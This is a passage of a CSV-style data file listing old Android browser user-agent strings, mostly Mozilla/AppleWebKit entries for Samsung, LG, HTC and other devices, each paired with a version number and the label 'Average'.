Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; HTC6435LVW 4G Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-ca; GT-P5113 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; en-gb; SM-T210 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; LGMS659 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; pt-br; GT-S6102B Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.4; en-us; Nexus 4 Build/JOP24G) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.3; en-us; LS670 Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; SAMSUNG-SGH-I547 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; SCH-R760X Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.3; en-us; ADR8995 4G Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-au; GT-P5110 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-gb; GT-N8010 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.0.3; en-us; KFOT Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; VS840 4G Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; BNTV600 Build/IMM76L) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.2; en-us; sdk Build/MR1) AppleWebKit/535.19 (KHTML, like Gecko) Version/4.2 Safari/535.19\",4.2,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; SGH-T989 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; SCH-I200 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Huawei-U8665 Build/HuaweiU8665B037) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; LG-MS770 Build/IMM76I) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; SCH-R740C Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\nDalvik/1.6.0 (Linux; U; Android 4.4.2; LG-E980 Build/KOT49I.E98020h),,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; LG-LS970 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; C5155 Build/IML77) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.3; en-us; SGH-T999 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; LG-LS720 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; SCH-R530M Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; HTC_0PCV220/1.11.506.8 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; SM-T310 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; N861 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.0.3; en-us; Transformer TF101 Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; tr-tr; GT-S5830i Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; HTC_C525c Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.4.2;  zh-cn; itel it1407; Android/4.4.2; Release/11.19.2015)  AppleWebKit/534.30 (KHTML, like Gecko) Mobile Safari/534.30\",,Average\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; fr-fr; GT-P5210 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; SPH-L710 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30evme-launcher\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; SPH-M930BST Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; SGH-T769 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; ZTE-Z740G Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\nDalvik/1.6.0 (Linux; U; Android 4.1.2; GT-N8010 Build/JZO54K),,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.5; en-us; MB855 Build/4.5.1A-1_SUN-254_13) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; ONE_TOUCH_960C Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.5; en-us; PC36100 Build/GRJ90) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; SPH-D710BST Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; Build/ICS.MBX.20130823) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; LG-P769 Build/JRO03L) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; SCH-I535 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30evme-launcher\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; SGH-T989 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.7; en-us; Z768G Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 3.1; en-us; AT100 Build/HMJ37) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; SPH-D700 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; ALCATEL ONETOUCH P310A Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.2 Mobile Safari/534.30\",4.2,Average\n\"Mozilla/5.0 (Linux; U; Android 2.2; en-us; DROID2 GLOBAL Build/S273) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; SGH-T599 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; pt-br; GT-S5360B Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\nLenovo-A388t_TD/S100 Linux/3.4.5 Android/4.1.2 Release/07.30.2013 Browser/AppleWebkit534.30 Mobile Safari/534.30,,Average\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; LG-MS770 Build/IMM76I) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30evme-launcher\",4,Average\nCallpod Keeper for Android 1.0 (10.3.1/246) Dalvik/2.1.0 (Linux; U; Android 7.0; SM-G920P Build/NRD90M),,Average\n\"Mozilla/5.0 (Linux; U; Android 4.3; en-us; SPH-L900 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.4; en-us; myTouch4G Build/GRJ22) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; NABI2-NV7A Build/IMM76L) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.1; en-us; sdk Build/ERD79) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.4; en-us; LGL55C Build/GRJ22) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; KFJWI Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; SPH-D710BST Build/IMM76I) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-gb; SM-T210 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.4; en-us; ADR6330VW Build/GRJ22) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.4; en-us; DROIDX Build/4.5.1_57_DX8-51) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; LG-P659 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; ALCATEL ONE TOUCH 5020N Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.1 Mobile Safari/534.30\",4.1,Average\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; SAMSUNG-SGH-I577 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; M865 Build/HuaweiM865) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.2.1; en-us; ME301T Build/JOP40D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; SGH-T769 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; SCH-I405 4G Build/GC1) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.4; en-us; ADR6300 Build/GRJ22) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.4; en-us; DROIDX Build/4.5.1_57_DX9-10) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; BNTV400 Build/IMM76L) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.3; en-us; SCH-R530C Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; Z750C Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; SCH-I200PP Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.7; en-us; imx53_smd Build/R10.3.3-r1) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; SGH-T959V Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-N5110 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.5; en-us; PantechP9070 Build/GRJ90) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 3.2.1; en-us; AT100 Build/HTK55D) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; Next7P12-8G Build/IMM76I) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.2; en-us; SCH-I800 Build/FROYO) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; LG-D500 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; SCH-I510 4G Build/FP8) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.0.3; zh-cn; KONKA_V931_TD/1.0 Android/4.0.3 Release/8.8.2013 Browser/AppleWebKit534.30 Build/MocorDroid4.0.3) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.1; en-us; GT-P5113 Build/JRO03C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; ALCATEL ONE TOUCH Fierce Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.2 Mobile Safari/534.30\",4.2,Average\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; SAMSUNG-SGH-I727 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; pt-br; GT-I8552B Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; LG-P769 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.1; en-us; GT-P3113 Build/JRO03C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; SCH-I905 4G Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux;u;Android 2.3.7;zh-cn;) AppleWebKit/533.1 (KHTML,like Gecko) Version/4.0 Mobile Safari/533.1 (compatible; +http://www.baidu.com/search/spider.html)\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; pt-br; GT-S5830C Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; SCH-I925 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; HTCONE Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.1; tr-tr; NeoTab B80 Build/JRO03C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-gb; GT-S6810P Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-gb; GT-I9082 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; Event Build/IML77) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.0.3; en-us; Sony Tablet S Build/TISU0143) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; fr-fr; GT-P5110 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; en-ca; SM-T210R Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; N861 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; IdeaTabA1000L-F Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 3.2.1; en-us; PantechP4100 Build/HTK75) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.1; en-us; Build/JRO03C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; SAMSUNG-SGH-I717 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.0.3; en-us; A500 Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.3; en-us; SPH-L710 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30evme-launcher\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; HUAWEI H881C Build/HuaweiH881C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; SCH-R530C Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; SCH-R760 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.3; en-us; ZTE-Z667G Build/JLS36C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\nCallpod Keeper for Android 1.0 (10.1.1/240) Dalvik/2.1.0 (Linux; U; Android 6.0; LG-V495 Build/MRA58K),,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.4; en-us; PantechP9060 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; SGH-T999N Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; es-us; GT-S5360L Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.3; en-us; C771 Build/C771M150) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 3.2; en-us; SAMSUNG-SGH-I957 Build/MASTER) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Prism Build/HuaweiU8651) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; en-ca; SGH-I747M-parrot Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.3; lt-lt; GT-I9300 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; HTC_C525c Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; SAMSUNG-SGH-I847 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; LGL39C/V100 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; C811 4G Build/C811M070) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-ca; SM-T210R Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; SCH-I535 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; VS950 4G Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; SAMSUNG-SGH-I727 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; GT-N5110 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; HTC_0PCV220/1.10.506.1 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.1; en-gb; GT-P3110 Build/JRO03C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; SAMSUNG-SGH-I437 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30evme-launcher\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; sdk Build/MASTER) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; SCH-R530M Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.4; en-us; DROID3 Build/5.5.1_84_D3G-66_M2-10) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; SAMSUNG-SGH-I777 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; C5215 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; en-ca; GT-P5210 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; SAMSUNG-SGH-I747 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30evme-launcher\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-ca; SGH-I727R Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; nl-nl; GT-P5110 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.0.3; en-gb; P90 Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.3; en-us; C6530N Build/JLS36C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 3.2; en-us; GT-P7510 Build/HTJ85B) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; N800 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) 